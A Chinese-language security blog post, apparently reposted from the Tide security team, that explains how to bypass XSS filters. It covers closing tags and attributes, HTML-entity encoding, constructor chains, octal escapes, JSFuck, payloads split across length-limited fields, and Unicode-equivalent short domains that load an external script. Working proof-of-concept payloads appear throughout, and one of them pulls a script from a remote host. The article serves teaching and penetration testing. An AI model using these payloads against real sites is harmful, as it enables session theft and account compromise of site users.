XSS绕过小思路

admin 2023年5月29日18:27:01评论24 views字数 3455阅读11分31秒阅读模式
XSS绕过小思路


一、白名单绕过

语句输出在标签内

比如<title><img src="xxx"></title>

1.闭合标签构造语句

在白名单较为宽松的情况下,"<>都被放出,可以利用">先闭合标签,然后构造xss语句来进行触发。最后结果<title><img src=""><img src="" onerror="alert(5)"/>"></title>这种是最简单的方法,也很常见。

如果白名单内没有了",可以利用html的解析优先级来逃离引号来触发xss。构造<title><img src="</title><img src=1 onerror=alert(1)>"></title>,在浏览器中会优先解析标签,这样就会优先闭合标签,从而逃出引号的限制来触发xss。

2.闭合属性构造xss

如果现在白名单中没有了<>,那么就不能利用上述方法进行构造,可以考虑闭合src属性,构造新属性来触发xss。构造<title><img src="x" onerror="alert(1)"></title>闭合src,触发xss

如果白名单中<>'"全部被限制,这时xss利用就变的非常困难,但是如果onerror属性可控的话,可以用html实体编码进行绕过,来构造任意的xss语句。https://config.net.cn/tools/HtmlEncode.html 比如<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

XSS绕过小思路

语句输出在js中

语句直接输出在js代码中是非常危险的,相对应的白名单也会设置的非常严格。

1.constructor

JavaScript语言使用构造函数(constructor)作为对象的模版。constructor属性返回对创建此对象的数组函数的引用。简单来说Object.constructor===Function

XSS绕过小思路

在js中我们可以用Function来创建一个函数来构造xss,例如new Function('alert(1)')();,也可以不要new,简化成Function('alert(1)')()。然后将Function等价替换为Object.constructor,Object.constructor('alert(1)')()继续转换为'...'.substr.constructor('alert(1)')()这里的...为任意字符串,'...'.substr为一个Object,所以这个语句跟上面等价。在js中a.b可以写成a['b']的形式,一次上面的语句可以写成'...'['substr']['constructor']('alert(1)')() 然后在js中任意字符串都可一写成+ascii码8进制的形式,将语句字符串全部替换,'...'['163165142163164162']['143157156163164162165143164157162']('141154145162164506151')() 这样我们在白名单中就不需要字母就可以执行任意的xss语句了。

2.jsfuck

那么如果白名单更加严格,名单当中没有了和数字,这时候我们就需要借助jsfuck。jsfuck源于一门编程语言brainfuck,其主要的思想就是只使用8种特定的符号来编写代码。而jsfuck也是沿用了这个思想,它仅仅使用6种符号来编写代码。它们分别是(、)、+、[、]、!。我们可以直接将alert(1)进行jsfuck编码进行测试。http://www.jsfuck.com/

XSS绕过小思路

也可以将Function('alert(1)')()进行编码来创建任意函数执行。

XSS绕过小思路

二、限制长度绕过

长度限制在20个字符内的绕过。

分段输入xss语句

还是拿<p><img src="xxx"></p>举例,在没有过滤的情况下闭合语句需要"><script>alert(1)</script>,用到了27个字符,而且基本没有缩短的空间。这时候就需要我们找多个点来分段构造xss。

1.利用注释符

<p><img src=""><script>/*"></p>
<p><img src="*/alert(1)/*"></p>
<p><img src="*/</script>"></p>

我们可以看到,分成3段利用注释符,将每段之间的的代码注释掉,从而将三段之间的xss语句连接起来执行。举个例子:ibuyu cms数据库存储时限制了20个字符 select table_schema,table_name,column_name,column_type,column_comment from information_schema.columns where table_schema= 'ibuyu'

XSS绕过小思路
将上述语句分三次插入,可以看到xss中间的语句都被注释掉,形成了。
XSS绕过小思路

2.模板字符串

ECMAScript 6.0(简称ES6)是Javascript语言的下一代标准,在2015年6月正式发布。ECMAScript是Javascript的语法规定,JavaScript是ECMAScript的实现。ES5标准中一般是输出模板是通过字符串拼接的方式进行的。在ES6中可以通过模板字符串简化字符串的拼接,模板字符串通过反引号来表示````。模板字符串相当于加强版的字符串,除了作为普通字符串,还可以用来定义多行字符串,还可以在字符串中加入变量和表达式。因此可以使用模板字符串来将分段语句之间的无用代码变为普通字符串,从而拼接xss。

<p><img src=""><script>`"></p>
<p><img src="`;alert(1)`"></p>
<p><img src="`;</script>"></p>
XSS绕过小思路

这样就可以利用上述两种方法绕过长度限制去拼接任意的xss语句了。

短域名

如果我们可以申请到一个足够短的域名,那么我们就可以利用域名引入外部的一些东西,比如<img src=//xx.xxxx>,这样问题似乎就变的简单了起来。但是,这个价格。。。

XSS绕过小思路

这时我们就得利用Unicode等价性漏洞。Unicode标准中提到,两个不同编码的Unicode字符可能存在一定的等价性,这种等价是字符或字符序列之间比较弱的等价类型,这些变体形式可能代表在某些字体或语境中存在视觉上或意义上的相似性。举例来说,a 和a(uff41)在某些字体下看起来可能相同,15和⑮(u246e)其表示的数学意义可能相同,所以这两种字符都有其相应的等价性。其中15是两个字符,而⑮是一个字符,但是再解析之后两者等价,这样我们就用一个字符代替了二个字符。同样的,可以用㎭对应到rad``℡对应到tel更多字符可以参考https://www.compart.com/en/unicode/ 这样我们就可以申请到非常便宜的域名了。

XSS绕过小思路

让我们来实验一些是不是真的可以引入外部的东西,插入<img src=//⑮℡.us>,可以看到我们引入了外部的图片。同样我们也可以引入js脚本来实现我们想要的东西<script src=//⑮℡.us>

XSS绕过小思路


往期推荐

敏感信息泄露

潮影在线免杀平台上线了

自动化渗透测试工具开发实践

【红蓝对抗】利用CS进行内网横向

一个Go版(更强大)的TideFinger

SRC资产导航监测平台Tsrc上线了

新潮信息-Tide安全团队2022年度总结

记一次实战攻防(打点-Edr-内网-横向-Vcenter)

XSS绕过小思路

E

N

D


知识星球产品及服务

团队内部平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......


星球分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享


星球知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......


星球网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

扫码加入一起学习吧~

XSS绕过小思路

XSS绕过小思路

原文始发于微信公众号(Tide安全团队):XSS绕过小思路

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月29日18:27:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XSS绕过小思路http://cn-sec.com/archives/1771524.html

发表评论

匿名网友 填写信息